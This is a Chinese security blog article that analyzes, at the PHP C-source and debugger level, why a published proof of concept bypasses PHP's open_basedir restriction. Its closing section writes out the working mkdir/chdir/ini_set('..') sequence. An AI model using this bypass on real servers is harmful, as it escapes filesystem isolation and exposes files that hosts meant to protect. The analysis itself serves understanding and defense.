从PHP底层看open_basedir bypass - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

从PHP底层看open_basedir bypass

一叶飘零 web安全 2019-04-15 09:54:19
304379
收藏

导语:近日,有国外的大佬公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

前言

2019-04-12-10-35-58.png

有国外的大佬近日公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

poc测试

首先测试一下:

2019-04-12-10-38-27.png

我们用如上源码进行测试,首先设置open_basedir目录为/tmp目录,再尝试用ini_set设置open_basedir则无效果,我们对根目录进行列目录,发现无效,返回bool(false)。

我们再尝试一下该国外大佬的poc:

2019-04-12-10-49-22.png

发现可以成功列举根目录,bypass open_basedir。

那么为什么一系列操作后,就可以重设open_basedir了呢?我们一步一步从头探索。

ini_set覆盖问题探索

为什么连续使用ini_set不会对open_basedir进行覆盖呢?我们以如下代码为例:

<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));

运行后结果如下:

string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"

默认的open_basedir值本来是空,第一次设置成/tmp后,以为设置将不会覆盖。

我们来探索一下原因。首先找到php函数对应的底层函数:

ini_get : PHP_FUNCTION(ini_get)
ini_set : PHP_FUNCTION(ini_set)

这里我们主要看的是ini_set的流程,ini_get作为信息输出函数,我们不太关心。

我们先对ini_set下断点,然后再run程序:

b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php

程序跑起来后,首先是3个初始值:

zend_string *varname;
zend_string *new_value;
char *old_value;

然后进入词法分析,得到3个变量值:

if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}

我们可以看到

pwndbg> p *varname
$45 = {
  gc = {
    refcount = 0,
    u = {
      v = {
        type = 6 '\006',
        flags = 2 '\002',
        gc_info = 0
      },
      type_info = 518
    }
  },
  h = 15582417252668088432,
  len = 12,
  val = "o"
}

这是zend_string的结构体,也是php7的新增结构:

struct _zend_string {
    zend_refcounted_h gc; /*gc信息*/
    zend_ulong        h;  /* hash value */
    size_t            len; /*字符串长度*/
    char              val[1]; /*字符串起始地址*/
};

我们可以看到varname.val为:

pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978:"open_basedir"

然后new_value.val为:

pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8:"/tmp"

即我们最开始传入的两个参数。

然后程序拿到原来的open_basedir的value:

2019-04-12-11-50-22.png

2019-04-12-11-50-14.png

然后会进入php_ini_check_path:

2019-04-12-11-33-24.png

由于第一次没有设置过open_basedir,所以直接跳出判断,进入下一步:

if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}

我们跟进FAILURE,找到定义:

typedef enum {
  SUCCESS =  0,
  FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;

当zend_alter_ini_entry_ex的返回值不为-1时,即代表更新成功,否则则会进入if,返回false。

而经过比对发现:第一次设置open_basedir和第二次设置时候,正是这里的返回值不一样,第一次设置时,这里为SUCCESS,即0,而第二次设置为FAILURE,即-1,我们跟入zend_alter_ini_entry_ex进行比对:

b /php7.0-src/Zend/zend_ini.c:330

发现两次不同的点在于如下判断:

if (!ini_entry->on_modify
|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第一次时:

ini_entry->on_modify = 0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = 0

第二次时:

ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

可以确定是on_modify,那么我们单步跟进,到达:

PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现在进行如下操作时,返回FAILURE:

if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
efree(pathbuf);
return FAILURE;
}

正是php_check_open_basedir_ex()未通过才导致我们ini_set失败,而第一次的时候,这里是通过的。

所以最后的问题落在`php_check_open_basedir_ex`上,如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

php_check_open_basedir_ex

找到切入点后,后面就是进行分析,看如何bypass php_check_open_basedir_ex。

我们源码跟进这个函数:

if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define MAXPATHLEN      PATH_MAX
#define PATH_MAX                 1024   /* max bytes in pathname */

首先判断路径是否过长,是否超过1023。

然后是另一个校验函数:

if (php_check_specific_open_basedir(ptr, path) == 0) {
    efree(pathbuf);
    return 0;
}

跟进后,该函数首先进行了操作:

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}

比对当前目录,并赋值给local_open_basedir,然后继续看目录名长度是否合法:

path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
    /* empty and too long paths are invalid */
    return -1;
}

然后进入操作:

if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}
PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

将传入的path,用绝对路径保存在resolved_name。

然后操作继续进入判断:

if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)

将local_open_basedir的值存放于resolved_basedir,用于后面的比较:

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;} 
    else {
/* File is in the right directory */
return 0;
        }
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) 
    {            
        if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
        {
            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
            {
                return 0;
            }
        }
        return -1;
    }
}

上述操作正是在匹配路径是否是open_basedir规定的路径。

那么不难发现,可控点应该就要追溯到之前的:

expand_filepath()

因为关键路径resolved_name和resolved_basedir均由这个函数生成。

所以要bypass php_check_open_basedir_ex的关键,在于bypass expand_filepath()。其获取到的path才是真正用来比对的path。

expand_filepath()

我们跟进至:

PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

继续跟expand_filepath_ex:

PHPAPI char *expand_filepath_ex(const char *filepath, char *real_path, const char *relative_to, size_t relative_to_len)
{
return expand_filepath_with_mode(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);
}

再跟expand_filepath_with_mode,来到关键操作位置:

if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
efree(new_state.cwd);
return NULL;
}

跟入virtual_file_ex得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
           ......
        state->cwd_length = path_length;
           ......
        memcpy(state->cwd, resolved_path, state->cwd_length+1);

即目录拼接操作,如果path不是绝对路径,同时`state->cwd`长度为0,那么直接将path作为绝对路径,保存在resolved_path。否则则在state->cwd后拼接。

那么可以落点于path_length,这决定了我们拼接的长度:

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,不难发现主要操作用于:

remove double slashes and '.'
remove '..' and previous directory

那么最后可以总结expand_filepath()全身心的投入在相对路径和绝对路径,没有考虑open_basedir如果为相对路径会实时变化的问题。

总结

所以最后的bypass poc也变得非常清楚:

首先需要构造一个相对可上跳的open_basedir:

mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');

这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set。

然后每次目录操作:

chdir('..');

都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。

比如初试open_basedir为/a/b/c/d:

第一次chdir后变为/a/b/c,

第二次chdir后变为/a/b,

第三次chdir后变为/a,

第四次chdir后变为/,

那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

后记

这个poc还是很巧妙的,重点在于构造出相对路径的open_basedir,再触发其进行上跳!

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务